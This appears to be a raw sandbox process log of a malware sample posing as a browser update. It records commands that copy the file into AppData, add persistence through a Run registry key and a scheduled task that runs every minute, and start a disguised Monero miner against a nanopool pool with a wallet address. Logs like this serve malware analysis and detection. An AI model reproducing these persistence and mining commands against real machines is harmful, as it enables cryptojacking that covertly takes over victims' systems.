cmd.exe cmd /c echo f|xcopy /y "C:\Users\test22\AppData\Local\Temp\BrowserUpdate.exe" "%AppData%\Update.exe" >nul && reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "%APPDATA%\Update.exe" /t REG_SZ /f
540cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo f"
2164xcopy.exe xcopy /y "C:\Users\test22\AppData\Local\Temp\BrowserUpdate.exe" "C:\Users\test22\AppData\Roaming\Update.exe"
2112reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run /d "C:\Users\test22\AppData\Roaming\Update.exe" /t REG_SZ /f
1456schtasks.exe schtasks /create /F /sc minute /mo 1 /tn "BrowserUpdate" /tr "%AppData%\Update.exe"
2076cmd.exe cmd /c "%TEMP%\ModuleInstaller.exe" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
2256ModuleInstaller.exe C:\Users\test22\AppData\Local\Temp\ModuleInstaller.exe --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
1632